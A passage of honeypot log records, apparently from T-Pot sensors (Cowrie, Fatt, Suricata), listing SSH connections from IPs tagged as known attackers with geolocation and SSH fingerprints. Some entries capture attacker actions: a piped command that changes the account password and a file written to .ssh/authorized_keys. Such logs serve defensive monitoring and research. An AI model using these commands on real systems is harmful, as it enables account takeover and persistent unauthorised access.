......(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	GB
35024	87.112.251.105	109.199.241.180	Fatt	2021-09-20 15:06:11.503224+03	2021-09-20 15:15:02.693689+03	{"_id": "zwYZA3wBvYTbRNuEc1mV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "87.112.251.105", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40886, "dest_port": 22, "timestamp": "2021-09-20T12:06:11.503224", "@timestamp": "2021-09-20T12:06:11.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	GB
35025	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:11.62968+03	2021-09-20 15:15:02.69469+03	{"_id": "0gYZA3wBvYTbRNuEdVlZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e4a806afc744", "@version": "1", "duration": 2.1666452884674072, "timestamp": "2021-09-20T12:06:11.629680Z", "@timestamp": "2021-09-20T12:06:11.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
35026	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:12.317927+03	2021-09-20 15:15:02.69569+03	{"_id": "0QYZA3wBvYTbRNuEdVlZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "96.78.175.36", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "f5c125d86b8c", "@version": "1", "destfile": "/home/guest/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T12:06:12.317927Z", "@timestamp": "2021-09-20T12:06:12.317Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	US
35027	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:12.955874+03	2021-09-20 15:15:02.696691+03	{"_id": "1wYZA3wBvYTbRNuEeVlE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "96.78.175.36", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.36531949043273926, "duplicate": true, "timestamp": "2021-09-20T12:06:12.955874Z", "@timestamp": "2021-09-20T12:06:12.955Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35028	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:13.24512+03	2021-09-20 15:15:02.69869+03	{"_id": "2wYZA3wBvYTbRNuEeVlE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "echo -e \\"4321\\\\n8JapgSgtswCT\\\\n8JapgSgtswCT\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"4321\\\\n8JapgSgtswCT\\\\n8JapgSgtswCT\\"|passwd|bash", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:13.245120Z", "@timestamp": "2021-09-20T12:06:13.245Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35029	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:13.245939+03	2021-09-20 15:15:02.69969+03	{"_id": "3QYZA3wBvYTbRNuEeVlE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:13.245939Z", "@timestamp": "2021-09-20T12:06:13.245Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35030	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:18.912555+03	2021-09-20 15:15:02.70169+03	{"_id": "CAYZA3wBvYTbRNuEkFq3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "96.78.175.36", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3651092052459717, "duplicate": true, "timestamp": "2021-09-20T12:06:18.912555Z", "@timestamp": "2021-09-20T12:06:18.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35031	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:19.24077+03	2021-09-20 15:15:02.70269+03	{"_id": "CQYZA3wBvYTbRNuEkFq3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:19.240770Z", "@timestamp": "2021-09-20T12:06:19.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35352	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:08:34.416537+03	2021-09-20 15:15:03.151689+03	{"_id": "rwYbA3wBvYTbRNuEoFtU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "13be58f0efff", "@version": "1", "timestamp": "2021-09-20T12:08:34.416537Z", "@timestamp": "2021-09-20T12:08:34.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	SE
35032	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:19.609112+03	2021-09-20 15:15:02.70369+03	{"_id": "DAYZA3wBvYTbRNuElFqg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "96.78.175.36", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3684048652648926, "duplicate": true, "timestamp": "2021-09-20T12:06:19.609112Z", "@timestamp": "2021-09-20T12:06:19.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35033	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:20.680653+03	2021-09-20 15:15:02.70569+03	{"_id": "FgYZA3wBvYTbRNuEl1oa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37988, "timestamp": "2021-09-20T12:06:20.680653", "@timestamp": "2021-09-20T12:06:20.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35034	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:20.56686+03	2021-09-20 15:15:02.70669+03	{"_id": "FwYZA3wBvYTbRNuEmFqK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:20.566860Z", "@timestamp": "2021-09-20T12:06:20.566Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35035	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:06:20.675638+03	2021-09-20 15:15:02.707691+03	{"_id": "HAYZA3wBvYTbRNuEmFqK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:37988 (192.168.176.2:22) [session: fb709be221b6]", "session": "fb709be221b6", "@version": "1", "protocol": "ssh", "src_port": 37988, "dest_port": 22, "timestamp": "2021-09-20T12:06:20.675638Z", "@timestamp": "2021-09-20T12:06:20.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35036	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:06:20.678544+03	2021-09-20 15:15:02.709691+03	{"_id": "HQYZA3wBvYTbRNuEmFqK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "fb709be221b6", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:20.678544Z", "@timestamp": "2021-09-20T12:06:20.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35037	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:06:20.946663+03	2021-09-20 15:15:02.71069+03	{"_id": "GgYZA3wBvYTbRNuEmFqK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "fb709be221b6", "@version": "1", "timestamp": "2021-09-20T12:06:20.946663Z", "@timestamp": "2021-09-20T12:06:20.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35038	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:21.236895+03	2021-09-20 15:15:02.71269+03	{"_id": "GwYZA3wBvYTbRNuEmFqK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:21.236895Z", "@timestamp": "2021-09-20T12:06:21.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35039	81.70.175.230	109.199.241.180	Suricata	2021-09-20 15:06:20.946478+03	2021-09-20 15:15:02.714689+03	{"_id": "HwYZA3wBvYTbRNuEmVqr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:06:20.409572+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2150496454066148, "payload": 